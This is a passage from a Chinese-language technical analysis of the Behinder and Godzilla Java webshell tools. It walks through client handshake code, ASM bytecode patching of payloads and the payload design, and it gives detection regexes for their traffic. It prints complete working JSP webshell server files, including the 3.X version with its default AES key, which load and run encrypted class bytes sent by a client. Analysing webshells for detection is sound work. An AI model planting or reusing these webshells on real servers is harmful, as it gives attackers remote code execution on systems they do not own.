if (urlWithSession != null) {
this.currentUrl = urlWithSession;
}
this.currentKey = (String)Utils.getKeyAndCookie(this.currentUrl, this.currentPassword, this.currentHeaders).get("key");
} else {
this.mergeCookie(this.currentHeaders, content);
this.currentKey = (String)keyAndCookie.get("key");
if (this.currentType.equals("php") || this.currentType.equals("aspx")) {
this.beginIndex = Integer.parseInt((String)keyAndCookie.get("beginIndex"));
this.endIndex = Integer.parseInt((String)keyAndCookie.get("endIndex"));
}
}
try {
int randStringLength = (new SecureRandom()).nextInt(3000);
String content = Utils.getRandomString(randStringLength);
JSONObject obj = this.echo(content);
if (obj.getString("msg").equals(content)) {
result = true;
}
} catch (Exception var8) {
result = false;
}
}
return result;
}
echo
public JSONObject echo(String content) throws Exception {
Map<String, String> params = new LinkedHashMap();
params.put("content", content);
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Echo", params, this.currentType);
Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
Map<String, String> responseHeader = (Map)resultObj.get("header");
Iterator var6 = responseHeader.keySet().iterator();
while(var6.hasNext()) {
String headerName = (String)var6.next();
if (headerName != null && headerName.equalsIgnoreCase("Set-Cookie")) {
String cookieValue = (String)responseHeader.get(headerName);
this.mergeCookie(this.currentHeaders, cookieValue);
}
}
String localResultTxt = "{\"status\":\"c3VjY2Vzcw==\",\"msg\":\"" + new String(java.util.Base64.getEncoder().encode(content.getBytes())) + "\"}";
byte[] localResult = Crypt.Encrypt(localResultTxt.getBytes(), this.currentKey, this.currentType, this.encryptType);
byte[] resData = (byte[])((byte[])resultObj.get("data"));
new String(resData);
this.beginIndex = Utils.matchData(resData, localResult);
if (this.beginIndex < 0) {
this.beginIndex = 0;
this.endIndex = 0;
} else {
this.endIndex = resData.length - this.beginIndex - localResult.length;
}
String resultTxt = new String(Crypt.Decrypt(Arrays.copyOfRange(resData, this.beginIndex, resData.length - this.endIndex), this.currentKey, this.encryptType, this.currentType));
resultTxt = new String(resultTxt.getBytes("UTF-8"), "UTF-8");
JSONObject result = new JSONObject(resultTxt);
Iterator var12 = result.keySet().iterator();
while(var12.hasNext()) {
String key = (String)var12.next();
result.put(key, new String(Base64.decode(result.getString(key)), "UTF-8"));
}
return result;
}
getData
传入的参数className为"Echo",获取Echo类字节码,进行AES解密、Base64加密
public static byte[] getData(String key, int encryptType, String className, Map<String, String> params, String type, byte[] extraData) throws Exception {
byte[] bincls;
byte[] encrypedBincls;
if (type.equals("jsp")) {
bincls = Params.getParamedClass(className, params);
if (extraData != null) {
bincls = CipherUtils.mergeByteArray(new byte[][]{bincls, extraData});
}
encrypedBincls = Crypt.Encrypt(bincls, key);
String basedEncryBincls = Base64.encode(encrypedBincls);
return basedEncryBincls.getBytes();
}...
}
getParamedClass获取某Class的字节码,这里用的ASM来实现
public static byte[] getParamedClass(String clsName, final Map<String, String> params) throws Exception {
String clsPath = String.format("net/rebeyond/behinder/payload/java/%s.class", clsName);
ClassReader classReader = new ClassReader(String.format("net.rebeyond.behinder.payload.java.%s", clsName));
ClassWriter cw = new ClassWriter(1);
classReader.accept(new ClassAdapter(cw) {
public FieldVisitor visitField(int arg0, String filedName, String arg2, String arg3, Object arg4) {
if (params.containsKey(filedName)) {
String paramValue = (String)params.get(filedName);
return super.visitField(arg0, filedName, arg2, arg3, paramValue);
} else {
return super.visitField(arg0, filedName, arg2, arg3, arg4);
}
}
}, 0);
byte[] result = cw.toByteArray();
result[7] = 50;
return result;
}
ASM
简单说一下ASM,然后再去理解上面的代码。现在流行的两种字节码工具,一种是ASM,一种是Javassist。ASM的核心实现包括:ClassReader、ClassVisitor、ClassWriter
等。ClassReader用于读取字节码,并调用注册的各类Visitor做相应的处理(如ClassVisitor、FieldVisitor、MethodVisitor、AnnotationVisito等,分别解析类、字段、方法、注解中的内容)。针对于这些Visitor类接口,对应着各种实现类—Writer类(ClassWriter、FieldWriter、MethodWriter、AnnotationWriter等,分别用于拼接字段、方法、注解相关的字节码)。也就是Visitor用于解析、Writer用于拼接。用ASM向某个类中添加一个字段的Demo如下
ClassReader cr = new ClassReader("AAShow.Echo");
ClassWriter cv = new ClassWriter(0);
ClassAdapter ca= new ClassAdapter(cv){
@Override
public void visitEnd() {
cv.visitField(2,"test","Ljava/lang/String;",null,null);
}
};
cr.accept(ca,0);
byte[] data = cv.toByteArray();
File file = new File("/Users/Downloads/AddField.class");
FileOutputStream fout = new FileOutputStream(file);
fout.write(data);
fout.close();
这样被添加的Echo类就会增加一个字段private String test;
通过这个Demo就可以理解getParamedClass
方法的作用,通过参数clsName
指定要被读取字节码的类,params
传Map型参数,key是类中的某个字段,value是要修改的值。如果类中存在该字段,就对其值进行修改。这样就通过ASM实现了class文件中属性值的动态修改,而无需重新编译。这个对于命令执行类的效果最为明显。看一下payload文件夹下的Cmd类,根据传入的cmd参数不同而有不同的执行结果,而cmd的值就是通过getParamedClass
来修改的

Payload设计理念
Q1:为什么核心方法为equals、toString?
无论是equals还是toString都是Object类的方法,也就是无论对象是什么类型的都具备这些方法。Object对象的方法如下

toString是这些方法中唯一具备返回值的方法,返回String类型字符串,所以这个方法适用于需要拿到返回结果的场景。
哥斯拉中的toString如下,执行类中的方法并将结果base64加密后返回
public String toString() {
String returnString = new String(base64Encode(run()));
return returnString;
}
那equals的作用是什么?可以看到equals的参数是Object类型的,也是这些方法中唯一能传入Object对象的方法。对于页面输出来说,需要获取response对象,内存马需要获取request或者context对象。equals只能传入一个参数,但是各类场景需要的对象又不同。jsp的内置对象包括:request、response、out、session、application、config、pageContext、page、Exception。其中的pageContext可以间接获取到其他对象。
冰蝎的equals方法中调用fillContext
,该方法实际上就是通过PageContext来获取request、response、session
public boolean equals(Object obj) {
...
ServletOutputStream so;
label77: {
try {
this.fillContext(obj);
....
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = (ServletRequest)obj.getClass().getDeclaredMethod("getRequest").invoke(obj);
this.Response = (ServletResponse)obj.getClass().getDeclaredMethod("getResponse").invoke(obj);
this.Session = (HttpSession)obj.getClass().getDeclaredMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = (HttpSession)objMap.get("session");
this.Response = (ServletResponse)objMap.get("response");
this.Request = (ServletRequest)objMap.get("request");
}
this.Response.setCharacterEncoding("UTF-8");
}
}
哥斯拉的equals方法中,早期版本也是获取PageContext,但是现在的版本获取的已经是通过反射来获取HttpServletRequest、ByteArrayOutputStream等类对象,改变了对PageContext的依赖,因为在非jsp页面的场景下,可能不存在PageContext。这种依赖的去除对于内存马的连接来说很重要。
public boolean equals(Object obj) {
if (obj != null && PageContext.class.isAssignableFrom(obj.getClass())) {
this.pageContext = (PageContext)obj;
formatParameter();
noLog(this.pageContext);
return true;
}
return false;
}
Q2:为什么要重写构造函数?
冰蝎
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
哥斯拉
class X extends ClassLoader{
public X(ClassLoader z){super(z);}
public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }
...
}
二者都设置了一个类继承自ClassLoader,并且构造函数用的是ClassLoader类。除了要使用defineClass来加载类这个理由,还有一点是因为JVM通过ClassLoader和类路径来确定类的唯一性,所以如果加载类的ClassLoader不是同一个,在equals中调用对象时可能抛出ClassNotFoundException的异常。
Q3:连接思路的变化
所谓的客户端就是WebShell jar包,服务器端就是jsp文件。2.X和3.X在服务器端的设计上发生了变化。
2.X服务器端
2.X版本的服务器端,会随机生成一个随机密钥,并保存在seesion中,同时以set-cookie的形式给客户端一个SessionID。客户端用这个密钥加密Payload,然后将POST请求发给服务器端,服务器端再解密并执行,将执行结果返回给客户端
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if(request.getParameter("pass")!=null){
String k=(""+UUID.randomUUID()).replace("-","").substring(16);
session.putValue("u",k);
out.print(k);return;
}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>
客户端获取密钥的代码如下
public static Map<String, String> getKeyAndCookie(String getUrl) throws Exception {
Map<String, String> result = new HashMap<String, String>();
StringBuffer sb = new StringBuffer();
InputStreamReader isr = null;
BufferedReader br = null;
URL url = new URL(getUrl);
URLConnection urlConnection = url.openConnection();
String cookieValue = urlConnection.getHeaderField("Set-Cookie");
result.put("cookie", cookieValue);
isr = new InputStreamReader(urlConnection.getInputStream());
br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) {
sb.append(line);
}
br.close();
result.put("key", sb.toString());
return result;
}
可以看到这种服务器端的写法有一个强特征
(1)客户端会先向服务器端发起一个GET请求,Context-type、User-Agent、Accept这些头部特征上面谈过了,这里只说pass(密码),它后面跟了一个随机数,但这个随机数没有实际含义
GET /shell.jsp?pass=593 HTTP/1.1
所以网上给出的检测规则,匹配1-10位密码、2-3位的随机数
\.(php|jsp|asp|aspx)\?(\w){1,10}=\d{2,3} HTTP/1.1
另外,服务器端返回客户端密钥是16位长度的,这也是一个附加的判断依据。所以网上也有相应的检测规则,判断返回包内容长度是否为16
Content-Length: 16
\r\n\r\n[a-z0-9]{16}$
提一个小技巧,md5生成的,结果是16进制,只有0-9a-f
另外,set-cookie
的头部形式也会是检测的一个点。但是这些检测方法在3.X中已经不再生效。
3.X服务器端
3.X版本的服务器端已经取消了这种随机密钥的方式,而是直接将连接密码md5的前16位作为密钥(预共享密钥),具体的两次发包流量,文章的开头已经说了。这样的好处就是全程没有明文交互
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){super(c);}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
其他基础功能,如文件管理、数据库管理等,无论什么工具,Java的写法都比较固定, 后面的文章说。
网友评论